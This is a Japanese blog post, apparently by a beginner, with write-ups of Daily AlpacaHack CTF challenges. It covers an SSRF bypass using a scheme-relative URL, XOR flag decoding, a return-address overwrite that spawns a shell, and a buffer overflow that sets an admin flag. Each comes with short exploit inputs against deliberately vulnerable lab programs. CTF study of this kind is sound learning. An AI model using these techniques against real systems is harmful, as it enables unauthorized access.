1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Daily AlpacaHack 25/12/01 ~ 07 Writeup(Crypto以外)

1
Last updated at Posted at 2025-12-12

この記事はIPFactory Advent Calender 2025 7日目の記事です。

数弱なのでCryptoは飛ばします。すみません。

Daily AlpacaHackとは

Daily AlpacaHackは、CTFプラットフォームであるAlpacaHack上で2025年12月から開始された、1日1問出題される常設CTFです。

1. AlpacaHack 2100

Misc, Welcome

Author: admin

🦙 < フラグは Daily AlpacaHack の 2100年1月 のカレンダーにあるパカ

カレンダーの次の月を表示させてみると、クエリパラメータで月が渡されているようなので、monthの値を2100-01にすると、

https://alpacahack.com/daily?month=2100-01

11~17日にかけてフラグが書いてありました。

3. Emojify

Web, Medium

Author: ark

:pizza: -> 🍕

node.jsのサーバーが3つあるみたいです。

  • backend

    • /emoji/:text

      受け取ったURLのパスを文字としてnode-emojiというライブラリで絵文字にして返す。

  • frontend

    • /

      絵文字にしたいテキストを入力するフォームがあり、/apiにリクエストを送る。

      fetch("/api?path=/emoji/" + encodeURIComponent(text))
      
    • /api

      クエリパラメータでpathを受け取り、wafという関数でチェックした後、URLオブジェクトを作成し、backendにリクエストを送る。

      const waf = (path) => {
          if (typeof path !== "string") throw new Error("Invalid types");
          if (!path.startsWith("/")) throw new Error("Invalid 1");
          if (!path.includes("emoji")) throw new Error("Invalid 2");
          return path;
      };
      
      const path = waf(req.query.path);
      const url = new URL(path, "http://backend:3000");
      const emoji = await fetch(url).then((r) => r.text());
      
  • secret

    • /flag

      flagを返す。ポートは1337。

frontendの/apiでSSRFができればsecretにアクセスできそうです。
URLオブジェクトを生成しているので、仕様を確認してみます。

例によると、スキーム相対URLが第一引数(url)に渡されると、第二引数(base)のホストが無視されるようです。

new URL("//foo.com", "https://example.com");
// => 'https://foo.com/' (see relative URLs)

あとはwafをバイパスすれば良さそうなので、以下のようなパラメータでフラグが取得できました。

http://frontend:3000/api?path=//secret:1337/flag?emoji

4. Leaked Flag Checker

Rev, Easy

Author: minaminao

みんなだいすきフラグチェッカー

challenge.cを見てみるとフラグが含まれていそう。

int main(void) {
    char input[32];
    const char xor_flag[] = "REDACTED";
    size_t flag_len = strlen(xor_flag);

    printf("Enter flag: ");

とりあえずデコンパイルしてみると、以下のような文字列が出てきました。

// BinaryNinja
int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rax = *(fsbase + 0x28);
    int64_t var_46;
    __builtin_strcpy(&var_46, "Fkwfdf|krdl~z");
    printf("Enter flag: ");

フラグの検証部分でinputを7でXORしているので、

if((input[i] ^ 7) != xor_flag[i]) {
    printf("Wrong at index %zu\n", i);
    return 1;
}

Fkwfdf|krdl~zを7でXORするとフラグが取得できました。

5. Integer Writer

Pwn, Hard

Author: mora

うっかり戻りアドレス書き換えられたらシェル起動できちゃうって冷静に考えてやばくね?気をつけなきゃ...

私はC言語に詳しくないので、間違っていたらすみません!

main.c

// gcc -o chal main.c -fno-pie -no-pie
#include <stdio.h>
#include <string.h>
#include <unistd.h>


/*
** How to get the address of `win` **

  $ nm chal | grep win
  XXXXXXXXX

This address is **fixed** across executions, because the challenge binary
`chal` is compiled with -fno-pie (i.e., without position-independent code).
*/
void win() {
    execve("/bin/sh", NULL, NULL);
}

int main(void) {
    int integers[100], pos;

    /* disable stdio buffering */
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("pos > ");
    scanf("%d", &pos);
    if (pos >= 100) {
        puts("You're a hacker!");
        return 1;
    }
    printf("val > ");
    scanf("%d", &integers[pos]);

    return 0;
}

コメントによると、アドレスは固定されているようです。
nmコマンドでwinのアドレスを調べます。

$ nm chal | grep win
00000000004011d6 T win

posに負の値を指定することによって、メモリ内でintegersの前にあるmain関数の戻りアドレスを参照することができそうです。
そのため、scanf("%d", &integers[pos]);で戻りアドレスを上書きすることにより、main終了時に任意の関数を実行できます。

pos > -6                # 総当たりしました、多分デバッガーを使うべき
val > 4198870           # win関数のアドレス 0x4011d6の10進数
ls -la                  # 何も表示されませんが、シェルが起動しています
total 32
drwxr-xr-x 1 nobody nogroup  4096 Dec  3 21:21 .
drwxr-xr-x 1 nobody nogroup  4096 Dec  3 21:21 ..
-rw-r--r-- 1 nobody nogroup    57 Dec  1 00:13 flag.txt
-rwxr-xr-x 1 nobody nogroup 16288 Dec  2 02:02 run

6. simpleoverflow

Pwn, Easy

Author: n01e0

Cでは、0がFalse、それ以外がTrueとして扱われます。

src.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

readで10バイトのバッファに16バイト(0x10)読み込んでいるので、バッファオーバーフローが発生します。
is_adminbufの直後に配置されているので、メモリを上書きできそうです。
name:の入力で10文字以上入力するとis_adminが上書きされて、フラグが取得できます。

感想

今回初めてCTFのWriteupを書きました。初心者なのでそれぞれの仕組みについてもう少し理解したうえで、その内容について書ければよかったなぁと思います。

Daily AlpacaHackは初心者向けの問題が多いので、CTFを始めたばかりでも楽しめると思います。興味がある方はぜひ挑戦してみてください!
そうでない方も、1日1問なので、普段触らない分野へ挑戦できる機会になると思います。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?